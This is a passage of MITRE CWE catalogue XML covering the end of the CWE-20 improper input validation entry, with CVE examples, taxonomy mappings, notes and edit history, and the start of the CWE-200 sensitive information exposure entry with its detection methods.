               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3571</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-5525</Reference>
               <Description>incomplete denylist allows SQL injection</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-5525</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-1284</Reference>
               <Description>NUL byte in theme name causes directory traversal impact to be worse</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-1284</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0600</Reference>
               <Description>kernel does not validate an incoming pointer before dereferencing it</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0600</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-1738</Reference>
               <Description>anti-virus product has insufficient input validation of hooked SSDT functions, allowing code execution</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-1738</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-1737</Reference>
               <Description>anti-virus product allows DoS via zero-length field</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-1737</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3464</Reference>
               <Description>driver does not validate input from userland to the kernel</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3464</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-2252</Reference>
               <Description>kernel does not validate parameters sent in from userland, allowing code execution</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2252</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-2374</Reference>
               <Description>lack of validation of string length fields allows memory consumption or buffer over-read</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2374</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-1440</Reference>
               <Description>lack of validation of length field leads to infinite loop</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-1440</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-1625</Reference>
               <Description>lack of validation of input to an IOCTL allows code execution</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-1625</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3177</Reference>
               <Description>zero-length attachment causes crash</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3177</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-2442</Reference>
               <Description>zero-length input causes free of uninitialized pointer</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-2442</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5563</Reference>
               <Description>crash via a malformed frame structure</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5563</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5285</Reference>
               <Description>infinite loop from a long SMTP request</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5285</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3812</Reference>
               <Description>router crashes with a malformed packet</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3812</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3680</Reference>
               <Description>packet with invalid version number leads to NULL pointer dereference</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3680</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3660</Reference>
               <Description>crash via multiple "." characters in file extension</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3660</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Input validation and representation</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A1</Entry_ID>
               <Entry_Name>Unvalidated Input</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ERR07-C</Entry_ID>
               <Entry_Name>Prefer functions that support error checking over equivalent functions that don't</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO30-C</Entry_ID>
               <Entry_Name>Exclude user input from format strings</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MEM10-C</Entry_ID>
               <Entry_Name>Define and use a pointer validation function</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>20</Entry_ID>
               <Entry_Name>Improper Input Handling</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP25</Entry_ID>
               <Entry_Name>Tainted input to variable</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="10"/>
            <Related_Attack_Pattern CAPEC_ID="101"/>
            <Related_Attack_Pattern CAPEC_ID="104"/>
            <Related_Attack_Pattern CAPEC_ID="108"/>
            <Related_Attack_Pattern CAPEC_ID="109"/>
            <Related_Attack_Pattern CAPEC_ID="110"/>
            <Related_Attack_Pattern CAPEC_ID="120"/>
            <Related_Attack_Pattern CAPEC_ID="13"/>
            <Related_Attack_Pattern CAPEC_ID="135"/>
            <Related_Attack_Pattern CAPEC_ID="136"/>
            <Related_Attack_Pattern CAPEC_ID="14"/>
            <Related_Attack_Pattern CAPEC_ID="153"/>
            <Related_Attack_Pattern CAPEC_ID="182"/>
            <Related_Attack_Pattern CAPEC_ID="209"/>
            <Related_Attack_Pattern CAPEC_ID="22"/>
            <Related_Attack_Pattern CAPEC_ID="23"/>
            <Related_Attack_Pattern CAPEC_ID="230"/>
            <Related_Attack_Pattern CAPEC_ID="231"/>
            <Related_Attack_Pattern CAPEC_ID="24"/>
            <Related_Attack_Pattern CAPEC_ID="250"/>
            <Related_Attack_Pattern CAPEC_ID="261"/>
            <Related_Attack_Pattern CAPEC_ID="267"/>
            <Related_Attack_Pattern CAPEC_ID="28"/>
            <Related_Attack_Pattern CAPEC_ID="3"/>
            <Related_Attack_Pattern CAPEC_ID="31"/>
            <Related_Attack_Pattern CAPEC_ID="42"/>
            <Related_Attack_Pattern CAPEC_ID="43"/>
            <Related_Attack_Pattern CAPEC_ID="45"/>
            <Related_Attack_Pattern CAPEC_ID="46"/>
            <Related_Attack_Pattern CAPEC_ID="47"/>
            <Related_Attack_Pattern CAPEC_ID="473"/>
            <Related_Attack_Pattern CAPEC_ID="52"/>
            <Related_Attack_Pattern CAPEC_ID="53"/>
            <Related_Attack_Pattern CAPEC_ID="588"/>
            <Related_Attack_Pattern CAPEC_ID="63"/>
            <Related_Attack_Pattern CAPEC_ID="64"/>
            <Related_Attack_Pattern CAPEC_ID="664"/>
            <Related_Attack_Pattern CAPEC_ID="67"/>
            <Related_Attack_Pattern CAPEC_ID="7"/>
            <Related_Attack_Pattern CAPEC_ID="71"/>
            <Related_Attack_Pattern CAPEC_ID="72"/>
            <Related_Attack_Pattern CAPEC_ID="73"/>
            <Related_Attack_Pattern CAPEC_ID="78"/>
            <Related_Attack_Pattern CAPEC_ID="79"/>
            <Related_Attack_Pattern CAPEC_ID="8"/>
            <Related_Attack_Pattern CAPEC_ID="80"/>
            <Related_Attack_Pattern CAPEC_ID="81"/>
            <Related_Attack_Pattern CAPEC_ID="83"/>
            <Related_Attack_Pattern CAPEC_ID="85"/>
            <Related_Attack_Pattern CAPEC_ID="88"/>
            <Related_Attack_Pattern CAPEC_ID="9"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-6"/>
            <Reference External_Reference_ID="REF-166"/>
            <Reference External_Reference_ID="REF-45"/>
            <Reference External_Reference_ID="REF-168" Section="Input Validation Attacks"/>
            <Reference External_Reference_ID="REF-48"/>
            <Reference External_Reference_ID="REF-170"/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 10, &#34;All Input Is Evil!&#34; Page 341"/>
            <Reference External_Reference_ID="REF-1109"/>
            <Reference External_Reference_ID="REF-1110"/>
            <Reference External_Reference_ID="REF-1111"/>
            <Reference External_Reference_ID="REF-1287" Section="Details of Problematic Mappings"/>
         </References>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Discouraged (this CWE ID should not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: CWE-20 is commonly misused in low-information vulnerability reports when lower-level CWEs could be used instead, or when more details about the vulnerability are available [REF-1287]. It is not useful for trend analysis. It is also a level-1 Class (i.e., a child of a Pillar).</xhtml:p>
               <xhtml:p>Comments: consider lower-level children such
               as Improper Use of Validation Framework (CWE-1173) or
               improper validation involving specific types or
               properties of input such as Specified Quantity
               (CWE-1284); Specified Index, Position, or Offset
               (CWE-1285)); Syntactic Correctness (CWE-1286);
               Specified Type (CWE-1287); Consistency within Input
               (CWE-1288); or Unsafe Equivalence (CWE-1289).</xhtml:p>
            </Note>
            <Note Type="Relationship">
               <xhtml:p>CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks.</xhtml:p>
            </Note>
            <Note Type="Maintenance">As of 2020, this entry is used more often than preferred, and it is a source of frequent confusion. It is being actively modified for CWE 4.1 and subsequent versions.</Note>
            <Note Type="Maintenance">Concepts such as validation, data transformation, and neutralization are being refined, so relationships between CWE-20 and other entries such as CWE-707 may change in future versions, along with an update to the Vulnerability Theory document.</Note>
            <Note Type="Maintenance">Input validation - whether missing or incorrect - is such an essential and widespread part of secure development that it is implicit in many different weaknesses. Traditionally, problems such as buffer overflows and XSS have been classified as input validation problems by many security professionals. However, input validation is not necessarily the only protection mechanism available for avoiding such problems, and in some cases it is not even sufficient. The CWE team has begun capturing these subtleties in chains within the Research Concepts view (CWE-1000), but more work is needed.</Note>
            <Note Type="Terminology">
               <xhtml:p>The "input validation" term is extremely common, but it is used in many different ways. In some cases its usage can obscure the real underlying weakness or otherwise hide chaining and composite relationships.</xhtml:p>
               <xhtml:p>Some people use "input validation" as a general term that covers many different neutralization techniques for ensuring that input is appropriate, such as filtering, canonicalization, and escaping. Others use the term in a more narrow context to simply mean "checking if an input conforms to expectations without changing it."  CWE uses this more narrow interpretation.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Maintenance_Notes, Modes_of_Introduction, Observed_Examples, Relationships, Research_Gaps, Terminology_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Detection_Factors</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Potential_Mitigations, References, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Research_Gaps, Terminology_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, References, Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Maintenance_Notes, Observed_Examples, Potential_Mitigations, References, Relationship_Notes, Relationships, Research_Gaps, Terminology_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-01-12">Insufficient Input Validation</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="200" Name="Exposure of Sensitive Information to an Unauthorized Actor" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.</Description>
         <Extended_Description>
	   <xhtml:p>There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:</xhtml:p>
       <xhtml:ul>
         <xhtml:li>private, personal information, such as personal messages, financial data, health records, geographic location, or contact details</xhtml:li>
         <xhtml:li>system status and environment, such as the operating system and installed packages</xhtml:li>
		 <xhtml:li>business secrets and intellectual property</xhtml:li>
		 <xhtml:li>network status and configuration</xhtml:li>
		 <xhtml:li>the product's own code or internal state</xhtml:li>
         <xhtml:li>metadata, e.g. logging of connections or message headers</xhtml:li>
		 <xhtml:li>indirect information, such as a discrepancy between two internal operations that can be observed by an outsider</xhtml:li>
       </xhtml:ul>
	    <xhtml:p>Information might be sensitive to different parties, each of which may have their own expectations for whether the information should be protected.  These parties include:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>the product's own users</xhtml:li>
                  <xhtml:li>people or organizations whose information is created or used by the product, even if they are not direct product users</xhtml:li>
		  <xhtml:li>the product's administrators, including the admins of the system(s) and/or networks on which the product operates</xhtml:li>
                  <xhtml:li>the developer</xhtml:li>
               </xhtml:ul>
	    <xhtml:p>Information exposures can occur in different ways:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>the code <xhtml:b>explicitly inserts</xhtml:b> sensitive information into resources or messages that are intentionally made accessible to unauthorized actors, but should not contain the information - i.e., the information should have been "scrubbed" or "sanitized"</xhtml:li>
                  <xhtml:li>a different weakness or mistake <xhtml:b>indirectly inserts</xhtml:b> the sensitive information into resources, such as a web script error revealing the full system path of the program.</xhtml:li>
                  <xhtml:li>the code manages resources that intentionally contain sensitive information, but the resources are <xhtml:b>unintentionally made accessible</xhtml:b> to unauthorized actors. In this case, the information exposure is resultant - i.e., a different weakness enabled the access to the information in the first place.</xhtml:li>
               </xhtml:ul>
	    <xhtml:p>It is common practice to describe any loss of confidentiality as an "information exposure," but this can lead to overuse of CWE-200 in CWE mapping. From the CWE perspective, loss of confidentiality is a technical impact that can arise from dozens of different weaknesses, such as insecure file permissions or out-of-bounds read.  CWE-200 and its lower-level descendants are intended to cover the mistakes that occur in behaviors that explicitly manage, store, transfer, or cleanse sensitive information.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
               <Description>Developers may insert sensitive information that they do not believe, or they might forget to remove the sensitive information after it has been processed</Description>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
               <Description>Separate mistakes or weaknesses could inadvertently make the sensitive information available to an attacker, such as in a detailed error message that can be read by an unauthorized party</Description>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Mobile" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Information Disclosure</Term>
               <Description>This term is frequently used in vulnerability advisories to describe a consequence or technical impact, for any vulnerability that has a loss of confidentiality. Often, CWE-200 can be misused to represent the loss of confidentiality, even when the mistake - i.e., the weakness - is not directly related to the mishandling of the information itself, such as an out-of-bounds read that accesses sensitive memory contents; here, the out-of-bounds read is the primary weakness, not the disclosure of the memory.  In addition, this phrase is also used frequently in policies and legal documents, but it does not refer to any disclosure of security-relevant information.</Description>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Information Leak</Term>
               <Description>This is a frequently used term, however the "leak" term has multiple uses within security. In some cases it deals with the accidental exposure of information from a different weakness, but in other cases (such as "memory leak"), this deals with improper tracking of resources, which can lead to exhaustion. As a result, CWE is actively avoiding usage of the "leak" term.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Bytecode Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                           <xhtml:li>Inter-application Flow Analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Automated Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Web Application Scanner</xhtml:li>
                           <xhtml:li>Web Services Scanner</xhtml:li>
                           <xhtml:li>Database Scanners</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Fuzz Tester</xhtml:li>
                           <xhtml:li>Framework-based Fuzzer</xhtml:li>
                           <xhtml:li>Automated Monitored Execution</xhtml:li>
                           <xhtml:li>Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Attack Modeling</xhtml:li>
